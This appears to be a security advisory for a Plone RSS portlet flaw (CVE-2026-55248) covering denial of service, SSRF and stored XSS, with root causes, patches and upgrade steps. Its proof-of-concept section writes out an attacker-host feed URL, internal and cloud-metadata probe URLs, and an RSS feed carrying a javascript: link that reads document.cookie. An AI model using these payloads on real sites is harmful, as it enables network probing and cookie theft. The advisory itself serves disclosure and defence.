CVE-2026-55248: plone.app.portlets RSS Portlet DoS, SSRF, and Stored XSS
A site member with portlet management rights can point Plone's built-in RSS portlet at a malicious URL to exhaust server memory, probe internal network hosts, or inject JavaScript that runs in every…

The problem
The RSS portlet in plone.app.portlets 7.0.0 and 7.0.1 fetches the configured feed URL unconditionally, reading the entire response body into memory with no size limit. A member can supply a URL to a multi-gigabyte file and cause Plone to run out of memory, taking the site down.
The same feed URL field accepts any scheme and any host. An attacker can set it to an internal address (e.g. http://169.254.169.254/ or http://10.0.0.1:22/) to map open ports and services on the server's local network. Additionally, if an RSS feed item's link element contains a javascript: URL, the portlet template renders it as a raw href, giving the attacker stored XSS that fires for every visitor who loads a page where the portlet appears.
Proof of concept
A working proof-of-concept for CVE-2026-55248 in plone.app.portlets, with the exact payload below.
<!-- Attack 1: DoS via oversized feed (configure RSS portlet URL to a huge file) -->
Feed URL field value:
http://attacker.example/huge.xml (file served with no Content-Length, streams gigabytes)
<!-- Attack 2: SSRF to probe internal network -->
Feed URL field value:
http://192.168.1.1:22/
http://169.254.169.254/latest/meta-data/
<!-- Attack 3: Stored XSS via javascript: link in a malicious RSS feed -->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>Legit Feed</title>
<link>http://attacker.example</link>
<item>
<title>Click me</title>
<link>javascript:alert(document.cookie)</link>
<description>Free prize inside</description>
</item>
</channel>
</rss>For DoS, the root cause is that rss.py called urllib.request.urlopen(url).read() with no byte limit. The patch wraps the read in a loop that aborts once the running total exceeds MAXIMUM_RSS_FEED_SIZE_BYTES (default 1 MB), derived directly from the changelog entry that introduced the env-var cap.
For SSRF, the portlet URL field had no scheme or host allowlist. The patch rejects any URL whose scheme is not http or https (consistent with the earlier hotfix that added the same check to the portlet-level field and now extended to cover all code paths added in 7.x).
For stored XSS (CWE-79 secondary to the primary CWE-400), the feed parser's item renderer passed item.link directly into a template <a href="..."> attribute without sanitization. The patch strips or rejects item links whose scheme is not http or https, so javascript:alert(...) is never written to the page.
The fix
Upgrade plone.app.portlets to 7.0.2 (Plone 6.2), 6.0.4 (Plone 6.1), or 5.0.8 (Plone 6.0). If immediate upgrade is not possible: remove the plone.app.portlets.ManageOwnPortlets permission from untrusted roles so ordinary members cannot add or edit portlets, and unregister the RSS portlet via a portlets.xml in your own code.
Reported by Plone Security Team.
Related research
- critical · 9.1CVE-2026-55247CVE-2026-55247: plone.app.event iCalendar Import DoS, SSRF, and Stored XSS
- highCVE-2026-55520CVE-2026-55520: Protego ReDoS via robots.txt Wildcard Directive
- high · 7.5CVE-2026-55099CVE-2026-55099: icalendar Algorithmic Complexity Denial of Service in Component Equality
- highGeoLens Authorization and Cache-Scope Flaws Disclose Private Dataset Data